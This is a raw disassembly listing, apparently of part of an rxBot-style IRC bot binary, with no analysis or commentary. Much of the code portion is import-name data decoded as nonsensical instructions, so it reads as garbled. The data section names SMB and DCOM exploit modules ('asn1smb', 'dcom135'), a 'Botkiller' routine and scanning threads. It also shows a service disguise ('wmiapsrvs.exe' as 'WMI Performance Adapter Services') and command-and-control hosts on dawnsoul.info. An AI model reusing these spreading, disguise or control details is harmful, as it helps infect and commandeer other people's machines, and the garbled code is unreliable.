		imul	ebp, [ebp+53h],	657A69h


loc_41D354:				; CODE XREF: .text:0041D2E1j
		mov	edi, 74654701h
		push	esp
		imul	ebp, [ebp+65h],	6D726F46h
		popa
		jz	short near ptr loc_41D3A3+2
; ---------------------------------------------------------------------------
		dd 1330000h
; ---------------------------------------------------------------------------


loc_41D368:				; CODE XREF: .text:0041D320j
		inc	edi
		db	65h
		jz	short loc_41D3B0
		popa
		jz	short near ptr loc_41D3D3+1
		inc	esi
		outsd
		jb	short loc_41D3E0
		popa
		jz	short near ptr loc_41D3B6+1
; ---------------------------------------------------------------------------
		dw 0
		dd 6E550345h, 5670616Dh
; ---------------------------------------------------------------------------


loc_41D380:				; CODE XREF: .text:loc_41D337j
					; .text:0041D30Dj
		imul	esp, [ebp+77h],	6946664Fh
		insb
		add	gs:[edx+eax+4Dh], al
		popa
		jo	short near ptr loc_41D3E2+4


loc_41D390:				; CODE XREF: .text:loc_41D349j
		imul	esp, [ebp+77h],	6946664Fh
		insb
		add	gs:[ebx+0], cl
		inc	ebx
		jb	short loc_41D404
		popa
		jz	short near ptr loc_41D406+1
		inc	esi


loc_41D3A3:				; CODE XREF: .text:0041D362j
		imul	ebp, [ebp+4Dh],	69707061h
		outsb
		db	67h
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_41D3B0:				; CODE XREF: .text:0041D369j
		cmc
		add	dl, [ebx+65h]
		jz	short loc_41D3FC


loc_41D3B6:				; CODE XREF: .text:0041D374j
		imul	ebp, [ebp+54h],	656D69h
		dec	edi
		add	[edi+65h], eax
		jz	short near ptr loc_41D406+4
		imul	ebp, [ebp+54h],	656D69h
		scasb
		add	[ebp+78h], al
		jo	short loc_41D433
		outsb


loc_41D3D3:				; CODE XREF: .text:0041D36Dj
		db	64h
		inc	ebp
		outsb
		jbe	short loc_41D441
		jb	short near ptr loc_41D447+2
		outsb
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short loc_41D433


loc_41D3E0:				; CODE XREF: .text:0041D371j
		jz	short loc_41D454


loc_41D3E2:				; CODE XREF: .text:0041D38Ej
		imul	ebp, [esi+67h],	0C8004173h
		add	[edi+65h], eax
		jz	short loc_41D444
		db	65h
		jb	short loc_41D464
		imul	ebp, [edi+6Eh],	417845h
		push	ecx
		add	cl, [ebp+75h]


loc_41D3FC:				; CODE XREF: .text:0041D3B4j
		insb
		jz	short near ptr loc_41D467+1
		inc	edx
		jns	short near ptr loc_41D474+2
		db	65h
		push	esp


loc_41D404:				; CODE XREF: .text:0041D39Dj
		outsd
		push	edi


loc_41D406:				; CODE XREF: .text:0041D3A0j
					; .text:0041D3C2j
		imul	esp, [ebp+43h],	726168h
		wait
		add	ebp, [ebx+esi*2+74h]
		jb	short near ptr loc_41D474+4
		jo	short loc_41D490
		outsb
		inc	ecx
		add	[eax+74736C03h], bl
		jb	short near ptr loc_41D47E+6
		jo	short loc_41D49C
		inc	ecx
; ---------------------------------------------------------------------------
		dd 39E0000h, 7274736Ch,	416E656Ch
		db 2 dup(0), 5Dh
; ---------------------------------------------------------------------------


loc_41D433:				; CODE XREF: .text:0041D3D0j
					; .text:0041D3DEj
		add	[edi+65h], eax
		jz	short near ptr loc_41D47E+6
		outsd
		arpl	[ecx+6Ch], sp
		db	65h
		dec	ecx
		outsb
		outsw


loc_41D441:				; CODE XREF: .text:0041D3D6j
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_41D444:				; CODE XREF: .text:0041D3ECj
		add	[ecx], eax
		inc	edi


loc_41D447:				; CODE XREF: .text:0041D3D8j
		db	65h
		jz	short near ptr loc_41D48C+1
		outsd
		insd
		jo	short near ptr loc_41D4C0+3
		jz	short loc_41D4B5
		jb	short loc_41D4A0
		popa
		insd


loc_41D454:				; CODE XREF: .text:loc_41D3E0j
		db	65h
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
		dd 6C4701E3h, 6C61626Fh, 6F6D654Dh
; ---------------------------------------------------------------------------


loc_41D464:				; CODE XREF: .text:0041D3EEj
		jb	short near ptr loc_41D4DD+2
		push	ebx


loc_41D467:				; CODE XREF: .text:0041D3FDj
		jz	short loc_41D4CA
		jz	short loc_41D4E0
		jnb	short $+2
		add	[edx], dh
		add	edx, [ebp+72h]
		insd


loc_41D474:				; CODE XREF: .text:0041D400j
					; .text:0041D413j
		imul	ebp, [esi+61h],	68546574h
		jb	short near ptr loc_41D4E1+1
		popa


loc_41D47E:				; CODE XREF: .text:0041D41Fj
					; .text:0041D436j
		add	fs:61654C02h, ch
		jbe	short near ptr loc_41D4E9+3
		inc	ebx
		jb	short loc_41D4F3
		jz	short loc_41D4F5


loc_41D48C:				; CODE XREF: .text:loc_41D447j
		arpl	[ecx+6Ch], sp
		push	ebx


loc_41D490:				; CODE XREF: .text:0041D415j
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
; ---------------------------------------------------------------------------
		dw 0
		dd 6E45008Bh
; ---------------------------------------------------------------------------


loc_41D49C:				; CODE XREF: .text:0041D421j
		jz	short loc_41D503
		jb	short loc_41D4E3


loc_41D4A0:				; CODE XREF: .text:0041D450j
		jb	short near ptr loc_41D509+2
		jz	short loc_41D50D
		arpl	[ecx+6Ch], sp
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
; ---------------------------------------------------------------------------
		dw 0
		dd 6E490203h
		db 69h
; ---------------------------------------------------------------------------


loc_41D4B5:				; CODE XREF: .text:0041D44Ej
		jz	short loc_41D520
		popa
		insb
		imul	edi, [edx+65h],	74697243h


loc_41D4C0:				; CODE XREF: .text:0041D44Cj
		imul	esp, [ebx+61h],	6365536Ch
		jz	short near ptr word_41D532
		outsd


loc_41D4CA:				; CODE XREF: .text:loc_41D467j
		outsb
		inc	ecx
		outsb
		db	64h
		push	ebx
		jo	short loc_41D53A
		outsb
		inc	ebx
		outsd
		jnz	short loc_41D544
		jz	short $+2
		jbe	short $+2
		inc	esp
		db	65h
		insb


loc_41D4DD:				; CODE XREF: .text:loc_41D464j
		db	65h
		jz	short loc_41D545


loc_41D4E0:				; CODE XREF: .text:0041D469j
		inc	ebx


loc_41D4E1:				; CODE XREF: .text:0041D47Bj
		jb	short near ptr loc_41D54A+2


loc_41D4E3:				; CODE XREF: .text:0041D49Ej
		jz	short loc_41D54E
		arpl	[ecx+6Ch], sp
		push	ebx


loc_41D4E9:				; CODE XREF: .text:0041D485j
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[ebx+45h], cl
		push	edx


loc_41D4F3:				; CODE XREF: .text:0041D488j
		dec	esi
		inc	ebp


loc_41D4F5:				; CODE XREF: .text:0041D48Aj
		dec	esp
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 23B0000h
		db 53h,	65h, 6Eh
; ---------------------------------------------------------------------------


loc_41D503:				; CODE XREF: .text:loc_41D49Cj
		db	64h
		dec	ebp
		db	65h
		jnb	short loc_41D57B
		popa


loc_41D509:				; CODE XREF: .text:loc_41D4A0j
		db	67h, 65h
		inc	ecx
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_41D50D:				; CODE XREF: .text:0041D4A2j
		add	bl, ah
		add	[esi+69h], al
		outsb
		db	64h
		push	edi
		imul	ebp, [esi+64h],	41776Fh
		fadd	dword ptr [edx]
		ja	short loc_41D593


loc_41D520:				; CODE XREF: .text:loc_41D4B5j
		jo	short loc_41D594
		imul	ebp, [esi+74h],	55004166h
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
word_41D532	dw 0			; CODE XREF: .text:0041D4C7j
; ---------------------------------------------------------------------------
		enter	5201h, 65h
		db	67h
		inc	ebx


loc_41D53A:				; CODE XREF: .text:0041D4CFj
		insb
		outsd
		jnb	short loc_41D5A3
		dec	ebx
		db	65h
		jns	short $+3
		rol	dword ptr [ecx], 1


loc_41D544:				; CODE XREF: .text:0041D4D4j
		push	edx


loc_41D545:				; CODE XREF: .text:loc_41D4DDj
		db	65h, 67h
		inc	esp
		db	65h
		insb


loc_41D54A:				; CODE XREF: .text:loc_41D4E1j
		db	65h
		jz	short loc_41D5B2
		push	esi


loc_41D54E:				; CODE XREF: .text:loc_41D4E3j
		popa
		insb
		jnz	short loc_41D5B7
		inc	ecx
		add	al, bh
		add	[edx+65h], edx
		db	67h
		push	ebx
		db	65h
		jz	short near ptr loc_41D5B2+1
		popa
		insb
		jnz	short loc_41D5C6
		inc	ebp
		js	short loc_41D5A5
; ---------------------------------------------------------------------------
		dd 1CC0000h, 43676552h,	74616572h, 79654B65h, 417845h
; ---------------------------------------------------------------------------
		and	[ecx], eax
		inc	edi


loc_41D57B:				; CODE XREF: .text:0041D505j
		db	65h
		jz	short near ptr loc_41D5D1+2
		jnb	short loc_41D5E5
		jb	short near ptr loc_41D5CF+1
		popa
		insd
		db	65h
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jmp	short loc_41D58B
; ---------------------------------------------------------------------------
		push	edx


loc_41D58B:				; CODE XREF: .text:0041D588j
		db	65h, 67h
		push	ecx
		jnz	short near ptr loc_41D5EE+7
		jb	short near ptr loc_41D604+7
		push	esi


loc_41D593:				; CODE XREF: .text:0041D51Ej
		popa


loc_41D594:				; CODE XREF: .text:loc_41D520j
		insb
		jnz	short loc_41D5FC
		inc	ebp
		js	short near ptr loc_41D5DA+1
; ---------------------------------------------------------------------------
		dw 0
		dd 655201E1h
		db 67h,	4Fh, 70h
; ---------------------------------------------------------------------------


loc_41D5A3:				; CODE XREF: .text:0041D53Cj
		outs	dx, byte ptr gs:[esi]


loc_41D5A5:				; CODE XREF: .text:0041D562j
		dec	ebx
		db	65h
		jns	short loc_41D5EE
		js	short loc_41D5EC
		add	[ecx+44h], al
		push	esi
		inc	ecx
		push	eax
		dec	ecx


loc_41D5B2:				; CODE XREF: .text:loc_41D54Aj
					; .text:0041D55Aj
		xor	esi, [edx]
		db	2Eh, 64h
		insb


loc_41D5B7:				; CODE XREF: .text:0041D550j
		insb
; ---------------------------------------------------------------------------
		dd 980000h, 6C656853h, 6578456Ch
		db 63h,	75h
; ---------------------------------------------------------------------------


loc_41D5C6:				; CODE XREF: .text:0041D55Fj
		jz	short loc_41D62D
		inc	ecx
		add	[ebx+48h], dl
		inc	ebp
		dec	esp
		dec	esp


loc_41D5CF:				; CODE XREF: .text:0041D580j
		xor	esi, [edx]


loc_41D5D1:				; CODE XREF: .text:loc_41D57Bj
		db	2Eh, 64h
		insb
		insb
		add	[edx], cl
		add	[esi+65h], dl


loc_41D5DA:				; CODE XREF: .text:0041D598j
		jb	short loc_41D62D
		jnz	short loc_41D643
		jb	short near ptr loc_41D655+4
		push	esi
		popa
		insb
		jnz	short near ptr loc_41D646+4


loc_41D5E5:				; CODE XREF: .text:0041D57Ej
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
		dd 65470000h
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: .text:0041D5A9j
		jz	short loc_41D634


loc_41D5EE:				; CODE XREF: .text:0041D5A6j
					; .text:0041D58Ej
		imul	ebp, [ebp+56h],	69737265h
		outsd
		outsb
		dec	ecx
		outsb
		outsw


loc_41D5FC:				; CODE XREF: .text:0041D595j
		inc	ecx
		add	[ecx], al
		add	[edi+65h], al
		jz	short near ptr loc_41D646+4


loc_41D604:				; CODE XREF: .text:0041D590j
		imul	ebp, [ebp+56h],	69737265h
		outsd
		outsb
		dec	ecx
		outsb
		outsw
		push	ebx
		imul	edi, [edx+65h],	45560041h
		push	edx
		push	ebx
		dec	ecx
		dec	edi
		dec	esi
		db	2Eh, 64h
		insb
		insb
		add	ch, dh
		add	[eax+65h], ecx
		popa
		jo	short near ptr loc_41D670+1
		jb	short near ptr loc_41D68F+3


loc_41D62D:				; CODE XREF: .text:loc_41D5C6j
					; .text:loc_41D5DAj
		add	gs:[eax], al
		out	dx, eax
		add	[eax+65h], ecx


loc_41D634:				; CODE XREF: .text:loc_41D5ECj
		popa
		jo	short near ptr loc_41D677+1
		insb
		insb
		outsd
		arpl	[eax], ax
		mov	cl, 2
		push	edx
		jz	short near ptr loc_41D6A6+7
		push	ebp
		outsb


loc_41D643:				; CODE XREF: .text:0041D5DCj
		ja	short loc_41D6AE
		outsb


loc_41D646:				; CODE XREF: .text:0041D5E3j
					; .text:0041D602j
		add	fs:[ebx+69615202h], al
		jnb	short loc_41D6B4
		inc	ebp
		js	short loc_41D6B5
		db	65h
		jo	short near ptr loc_41D6C8+1


loc_41D655:				; CODE XREF: .text:0041D5DEj
		imul	ebp, [edi+6Eh],	19C0000h
		inc	edi
		db	65h
		jz	short near ptr loc_41D6B1+2
		jz	short loc_41D6C3
		jb	short near ptr loc_41D6D7+1
		jnz	short near ptr loc_41D6D5+1
		dec	ecx
		outsb
		outsw
		inc	ecx
		add	ch, bh
		add	[edi+65h], al


loc_41D670:				; CODE XREF: .text:0041D629j
		jz	short loc_41D6B5
		outsd
		insd
		insd
		popa
		outsb


loc_41D677:				; CODE XREF: .text:0041D635j
		db	64h
		dec	esp
		imul	ebp, [esi+65h],	2FA0041h
		push	ebx
		db	65h
		jz	short loc_41D6CC
		popa
		outsb
		db	64h
		insb
		db	65h
		inc	ebx
		outsd
		jnz	short near ptr loc_41D6F8+3
		jz	short $+2


loc_41D68F:				; CODE XREF: .text:0041D62Bj
		add	[esi+74654701h], bl
		push	ebx
		jz	short loc_41D6FC
		dec	eax
		popa
		outsb
		db	64h
		insb
		add	gs:[eax], al
		push	eax
		add	[edi+65h], eax
		jz	short loc_41D6EC


loc_41D6A6:				; CODE XREF: .text:0041D63Fj
		imul	ebp, [ebp+54h],	657079h


loc_41D6AE:				; CODE XREF: .text:loc_41D643j
		jmp	short $+2
		inc	edi


loc_41D6B1:				; CODE XREF: .text:0041D65Dj
		db	65h
		jz	short loc_41D6F5


loc_41D6B4:				; CODE XREF: .text:0041D64Dj
		inc	ebx


loc_41D6B5:				; CODE XREF: .text:0041D650j
					; .text:loc_41D670j
		push	eax
; ---------------------------------------------------------------------------
		dw 0
		dd 6547017Ch, 4D454F74h
		db 43h,	50h, 0
; ---------------------------------------------------------------------------


loc_41D6C3:				; CODE XREF: .text:0041D660j
		add	cl, dh
		add	[edi+65h], al


loc_41D6C8:				; CODE XREF: .text:0041D652j
		jz	short near ptr loc_41D70B+2
		push	eax
		dec	ecx


loc_41D6CC:				; CODE XREF: .text:0041D681j
		outsb
		outsw
		add	bl, dh
		add	[eax+65h], ecx
		popa


loc_41D6D5:				; CODE XREF: .text:0041D664j
		jo	short loc_41D71B


loc_41D6D7:				; CODE XREF: .text:0041D662j
		db	65h
		jnb	short near ptr loc_41D74C+2
		jb	short near ptr loc_41D74A+1
		jns	short $+2
		icebp
		add	[eax+65h], ecx
		popa
		jo	short near ptr loc_41D727+1
		jb	short loc_41D74C
		popa
		jz	short loc_41D74F
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_41D6EC:				; CODE XREF: .text:0041D6A4j
		pop	eax
		add	edx, [esi+69h]
		jb	short near ptr loc_41D765+1
		jnz	short near ptr loc_41D754+1
		insb


loc_41D6F5:				; CODE XREF: .text:loc_41D6B1j
		inc	esi
		jb	short near ptr loc_41D758+5


loc_41D6F8:				; CODE XREF: .text:0041D68Bj
		add	gs:[ebp+3], dl


loc_41D6FC:				; CODE XREF: .text:0041D696j
		push	esi
		imul	esi, [edx+74h],	416C6175h
		insb
		insb
		outsd
		arpl	[eax], ax
		add	cl, bh


loc_41D70B:				; CODE XREF: .text:loc_41D6C8j
		add	[eax+65h], ecx
		popa
		jo	short near ptr loc_41D762+1
		db	65h
		inc	ecx
		insb
		insb
		outsd
		arpl	[eax], ax
		adc	al, 2
		dec	ecx


loc_41D71B:				; CODE XREF: .text:loc_41D6D5j
		jnb	short loc_41D75F
		popa
		db	64h
		push	edi
		jb	short near ptr loc_41D78A+1
		jz	short near ptr loc_41D788+1
		push	eax
		jz	short loc_41D799


loc_41D727:				; CODE XREF: .text:0041D6E3j
		add	[eax], ah
		add	cl, [ebx+eax*2+4Dh]
		popa
		jo	short near ptr loc_41D780+3
		jz	short loc_41D7A4
		imul	ebp, [esi+67h],	69000041h
		add	edx, [edi+69h]
		db	64h, 65h
		inc	ebx
		push	6F547261h
		dec	ebp
		jnz	short loc_41D7B3
		jz	short near ptr loc_41D7AC+6
		inc	edx


loc_41D74A:				; CODE XREF: .text:0041D6DAj
		jns	short near ptr loc_41D7BF+1


loc_41D74C:				; CODE XREF: .text:0041D6E5j
					; .text:loc_41D6D7j
		add	gs:[ecx], ah


loc_41D74F:				; CODE XREF: .text:0041D6E8j
		add	cl, [ebx+eax*2+4Dh]
		popa


loc_41D754:				; CODE XREF: .text:0041D6F2j
		jo	short near ptr loc_41D7A8+1
		jz	short near ptr loc_41D7C5+5


loc_41D758:				; CODE XREF: .text:0041D6F6j
		imul	ebp, [esi+67h],	1D000057h


loc_41D75F:				; CODE XREF: .text:loc_41D71Bj
		add	edx, [ebx+65h]


loc_41D762:				; CODE XREF: .text:0041D70Fj
		jz	short loc_41D7B9
		outsb


loc_41D765:				; CODE XREF: .text:0041D6F0j
		push	6C646E61h
		db	65h, 64h
		inc	ebp
		js	short loc_41D7D2
		db	65h
		jo	short near ptr loc_41D7E5+1
		imul	ebp, [edi+6Eh],	746C6946h
		db	65h
		jb	short $+3
		inc	edx
		add	edx, [ebp+6Eh]


loc_41D780:				; CODE XREF: .text:0041D72Ej
		push	6C646E61h
		db	65h, 64h
		inc	ebp


loc_41D788:				; CODE XREF: .text:0041D722j
		js	short loc_41D7ED


loc_41D78A:				; CODE XREF: .text:0041D720j
		db	65h
		jo	short loc_41D801
		imul	ebp, [edi+6Eh],	746C6946h
		db	65h
		jb	short $+3
		add	bl, ah


loc_41D799:				; CODE XREF: .text:0041D725j
		add	[esi+72h], al
		db	65h, 65h
		inc	ebp
		outsb
		jbe	short near ptr loc_41D80A+1
		jb	short loc_41D813


loc_41D7A4:				; CODE XREF: .text:0041D730j
		outsb
		insd
		outs	dx, byte ptr gs:[esi]


loc_41D7A8:				; CODE XREF: .text:loc_41D754j
		jz	short near ptr loc_41D7F7+6
		jz	short loc_41D81E


loc_41D7AC:				; CODE XREF: .text:0041D747j
		imul	ebp, [esi+67h],	3F004173h


loc_41D7B3:				; CODE XREF: .text:0041D745j
		add	[edi+65h], eax
		jz	short near ptr loc_41D7F7+6
		outsb


loc_41D7B9:				; CODE XREF: .text:loc_41D762j
		jbe	short loc_41D824
		jb	short loc_41D82C
		outsb
		insd


loc_41D7BF:				; CODE XREF: .text:loc_41D74Aj
		outs	dx, byte ptr gs:[esi]
		jz	short loc_41D816
		jz	short loc_41D837


loc_41D7C5:				; CODE XREF: .text:0041D756j
		imul	ebp, [esi+67h],	0E40073h
		inc	esi
		jb	short near ptr loc_41D833+1
		db	65h
		inc	ebp
		outsb


loc_41D7D2:				; CODE XREF: .text:0041D76Dj
		jbe	short near ptr loc_41D837+6
		jb	short loc_41D845
		outsb
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short loc_41D82F
		jz	short near ptr loc_41D84B+5
		imul	ebp, [esi+67h],	41005773h


loc_41D7E5:				; CODE XREF: .text:0041D76Fj
		add	[edi+65h], eax
		jz	short loc_41D82F
		outsb
		jbe	short loc_41D856


loc_41D7ED:				; CODE XREF: .text:loc_41D788j
		jb	short near ptr loc_41D858+6
		outsb
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short loc_41D848
		jz	short loc_41D869


loc_41D7F7:				; CODE XREF: .text:loc_41D7A8j
					; .text:0041D7B6j
		imul	ebp, [esi+67h],	5773h
		fild	dword ptr [eax]
		inc	esi


loc_41D801:				; CODE XREF: .text:loc_41D78Aj
		insb
		jnz	short loc_41D877
		push	656C6946h
		inc	edx


loc_41D80A:				; CODE XREF: .text:0041D7A0j
		jnz	short near ptr word_41D872
		db	66h, 65h
		jb	short loc_41D883
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Bh
; ---------------------------------------------------------------------------


loc_41D813:				; CODE XREF: .text:0041D7A2j
		add	edx, [esi+69h]


loc_41D816:				; CODE XREF: .text:0041D7C1j
		jb	short loc_41D88C
		jnz	short loc_41D87B
		insb
		push	eax
		jb	short near ptr loc_41D88C+1


loc_41D81E:				; CODE XREF: .text:0041D7AAj
		jz	short near ptr loc_41D884+1
		arpl	[eax+eax+0], si


loc_41D824:				; CODE XREF: .text:loc_41D7B9j
		test	al, 1
		inc	edi
		db	65h
		jz	short near ptr loc_41D87C+1
		jns	short near ptr loc_41D89B+4


loc_41D82C:				; CODE XREF: .text:0041D7BBj
		jz	short near ptr loc_41D891+2
		insd


loc_41D82F:				; CODE XREF: .text:0041D7DAj
					; .text:0041D7E8j
		dec	ecx
		outsb
		outsw


loc_41D833:				; CODE XREF: .text:0041D7CDj
		add	[ebp+3], bl
		push	esi


loc_41D837:				; CODE XREF: .text:0041D7C3j
					; .text:loc_41D7D2j
		imul	esi, [edx+74h],	516C6175h
		jnz	short loc_41D8A5
		jb	short near ptr loc_41D8BA+1
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		sti


loc_41D845:				; CODE XREF: .text:0041D7D4j
		add	[eax+65h], ecx


loc_41D848:				; CODE XREF: .text:0041D7F3j
		popa
		jo	short near ptr loc_41D89B+3


loc_41D84B:				; CODE XREF: .text:0041D7DCj
		imul	edi, [edx+65h],	19F0000h
		inc	edi
		db	65h
		jz	short near ptr loc_41D8A8+1


loc_41D856:				; CODE XREF: .text:0041D7EBj
		jz	short near ptr loc_41D8C9+1


loc_41D858:				; CODE XREF: .text:loc_41D7EDj
		imul	ebp, [esi+67h],	65707954h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 1A20000h, 53746547h
		db 74h
; ---------------------------------------------------------------------------


loc_41D869:				; CODE XREF: .text:0041D7F5j
		jb	short loc_41D8D4
		outsb
		db	67h
		push	esp
		jns	short near ptr loc_41D8DF+1
		db	65h
		push	edi
; ---------------------------------------------------------------------------
word_41D872	dw 0			; CODE XREF: .text:loc_41D80Aj
		db 7Eh,	2, 51h
; ---------------------------------------------------------------------------


loc_41D877:				; CODE XREF: .text:0041D802j
		jnz	short loc_41D8DE
		jb	short loc_41D8F4


loc_41D87B:				; CODE XREF: .text:0041D818j
		push	eax


loc_41D87C:				; CODE XREF: .text:0041D827j
		db	65h
		jb	short near ptr loc_41D8E4+1
		outsd
		jb	short loc_41D8EF
		popa


loc_41D883:				; CODE XREF: .text:0041D80Cj
		outsb


loc_41D884:				; CODE XREF: .text:loc_41D81Ej
		arpl	[ebp+43h], sp
		outsd
		jnz	short near ptr loc_41D8F7+1
		jz	short near ptr loc_41D8EF+2


loc_41D88C:				; CODE XREF: .text:loc_41D816j
					; .text:0041D81Cj
		jb	short $+2
		xor	al, [ecx]
		inc	edi


loc_41D891:				; CODE XREF: .text:loc_41D82Cj
		db	65h
		jz	short near ptr loc_41D8D6+1
		jnz	short near ptr dword_41D908
		jb	short near ptr loc_41D8F9+4
		outsb
		jz	short loc_41D8EF


loc_41D89B:				; CODE XREF: .text:0041D849j
					; .text:0041D82Aj
		push	64616572h
		dec	ecx
		add	fs:[eax], al
		lodsb


loc_41D8A5:				; CODE XREF: .text:0041D83Ej
		add	[edi+65h], eax


loc_41D8A8:				; CODE XREF: .text:0041D853j
		jz	short near ptr loc_41D8F9+4
		jns	short near ptr byte_41D91F
		jz	short near ptr byte_41D913
		insd
		push	esp
		imul	ebp, [ebp+65h],	69467341h
		insb
		db	65h
		push	esp


loc_41D8BA:				; CODE XREF: .text:0041D840j
		imul	ebp, [ebp+65h],	53030C00h
		db	65h
		jz	short near ptr byte_41D917
		jz	short near ptr word_41D92A
		dec	eax
		popa
		outsb


loc_41D8C9:				; CODE XREF: .text:loc_41D856j
		db	64h
		insb
		add	gs:[eax], al
		adc	[edx], eax
		dec	ecx
		jnb	short near ptr byte_41D915
		popa


loc_41D8D4:				; CODE XREF: .text:loc_41D869j
		db	64h
		push	edx


loc_41D8D6:				; CODE XREF: .text:loc_41D891j
		db	65h
		popa
		db	64h
		push	eax
		jz	short near ptr word_41D94E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: .text:loc_41D877j
		push	cs


loc_41D8DF:				; CODE XREF: .text:0041D86Ej
		add	cl, [ecx+73h]
		inc	edx
		popa


loc_41D8E4:				; CODE XREF: .text:loc_41D87Cj
		db	64h
		inc	ebx
		outsd
		db	64h, 65h
		push	eax
		jz	short near ptr word_41D95E
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
; ---------------------------------------------------------------------------


loc_41D8EF:				; CODE XREF: .text:0041D880j
					; .text:0041D899j ...
		add	dl, [ebx+65h]
		jz	short near ptr byte_41D939


loc_41D8F4:				; CODE XREF: .text:0041D879j
		outsb
		db	64h
		dec	edi


loc_41D8F7:				; CODE XREF: .text:0041D888j
		inc	si


loc_41D8F9:				; CODE XREF: .text:0041D896j
					; .text:loc_41D8A8j
		imul	ebp, [ebp+0], 0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		align 8
dword_41D908	dd 2 dup(0)		; CODE XREF: .text:0041D894j
		db 3 dup(0)
byte_41D913	db 0			; CODE XREF: .text:0041D8ACj
		db 0
byte_41D915	db 2 dup(0)		; CODE XREF: .text:0041D8D1j
byte_41D917	db 0			; CODE XREF: .text:0041D8C1j
		dd 0
		db 3 dup(0)
byte_41D91F	db 0			; CODE XREF: .text:0041D8AAj
		dd 2 dup(0)
		db 2 dup(0)
word_41D92A	dw 0			; CODE XREF: .text:0041D8C4j
		dd 3 dup(0)
		db 0
byte_41D939	db 3 dup(0)		; CODE XREF: .text:0041D8F2j
		dd 4 dup(0)
		db 2 dup(0)
word_41D94E	dw 0			; CODE XREF: .text:0041D8DAj
		dd 3 dup(0)
		db 2 dup(0)
word_41D95E	dw 0			; CODE XREF: .text:0041D8EAj
		dd 1A8h	dup(0)
dword_41E000	dd 0			; DATA XREF: sub_40DD0D+70o
		dd offset sub_4152E6
		dd offset sub_418041
dword_41E00C	dd 0			; DATA XREF: sub_40DD0D+77o
dword_41E010	dd 0			; DATA XREF: sub_40DD0D+3Do
		dd offset sub_40DABB
		dd offset sub_41158A
		dd offset sub_411A10
		dd offset sub_414253
		dd offset sub_4143C1
dword_41E028	dd 0			; DATA XREF: sub_40DD0D+42o
dword_41E02C	dd 0			; DATA XREF: sub_40DDA2:loc_40DE09o
		dd offset sub_40DB61
dword_41E034	dd 0			; DATA XREF: sub_40DDA2+6Co
dword_41E038	dd 0			; CODE XREF: sub_40DD0D+23p
					; DATA XREF: sub_40DDA2:loc_40DE28o
		dd offset sub_4143D4
dword_41E040	dd 4 dup(0)		; DATA XREF: sub_40DDA2+8Bo
		dd 78h,	0
dword_41E058	dd 80000002h		; DATA XREF: start+27r
off_41E05C	dd offset byte_41E1BC	; DATA XREF: start+21r
		dd 80000002h, 41E1ECh, 80000002h, 41E224h, 80000002h, 41E23Ch
		dd 80000001h, 41E1BCh, 80000001h, 41E1ECh, 80000001h, 41E224h
		dd 80000001h, 41E23Ch, 419298h
off_41E09C	dd offset aAsn1smb	; DATA XREF: sub_401179+9Er
					; sub_401179+A8o
					; "asn1smb"
		dd offset aR_x_b_o_t	; "R.X.B.o.t"
		dd offset aDcom135	; "dcom135"
		dd offset aR_x_b_o_t	; "R.X.B.o.t"
		dd offset aSDScanThreadDS ; "%s:%d, Scan thread: %d, Sub-thread: %d."...
		dd 2 dup(0)
		dd offset aFound	; "Found"
off_41E0BC	dd offset aTooManySpecifi ; DATA XREF: sub_4013E5+9Cr
					; sub_4013E5+A6o
					; "Too many specified."
		dd offset aFound	; "Found"
		dd offset aBotkiller	; "Botkiller"
		dd offset aFound	; "Found"
		dd offset aFailedToStar_3 ; "Failed to start worker thread, error: <"...
		dd offset aFound	; "Found"
		dd offset aSDScanThreadDS ; "%s:%d, Scan thread: %d, Sub-thread: %d."...
		align 10h
byte_41E0E0	db 43h			; DATA XREF: sub_40198E+81Cr
					; sub_40198E+824o
		db 6Dh,	74h, 63h
		dd 726F4620h, 6E695720h, 2E3233h
aBawha		db 'bawha',0            ; DATA XREF: sub_40198E+1269o
					; sub_40198E+22E1o ...
		align 4
aWmiapsrvs_exe	db 'wmiapsrvs.exe',0    ; DATA XREF: sub_40198E+1264o
					; sub_404BAB+1C1o ...
		align 4
aWmiPerformance	db 'WMI Performance Adapter Services',0 ; DATA XREF: start+Do
					; sub_40198E+125Fo ...
		align 4
dword_41E12C	dd 1			; DATA XREF: sub_40198E+654r
dword_41E130	dd 1			; DATA XREF: sub_404901+14Br
					; sub_408EF0+4B8w
dword_41E134	dd 1			; DATA XREF: sub_404BAB+48Fr
					; sub_408B66+Cr
byte_41E138	db 1			; DATA XREF: sub_40198E+2CEr
					; sub_404901+EBr
byte_41E139	db 2Eh			; DATA XREF: sub_405685:loc_405691r
		align 4
dword_41E13C	dd 5			; DATA XREF: sub_409C44+23r
					; .text:00409EB4r ...
dword_41E140	dd 1			; DATA XREF: sub_40198E+2D5r
					; sub_40198E+CA9r ...
aCp_dawnsoul_in	db 'cp.dawnsoul.info',0 ; DATA XREF: sub_404BAB+4E9o
					; sub_404BAB+590o
		align 4
byte_41E158	db 63h			; DATA XREF: sub_404BAB:loc_405179r
					; sub_404BAB+5DCo
aP_dawnsoul_inf	db 'p.dawnsoul.info',0
		align 4
dword_41E16C	dd 1DE6h		; DATA XREF: sub_404BAB+4F9r
					; sub_404BAB+59Br
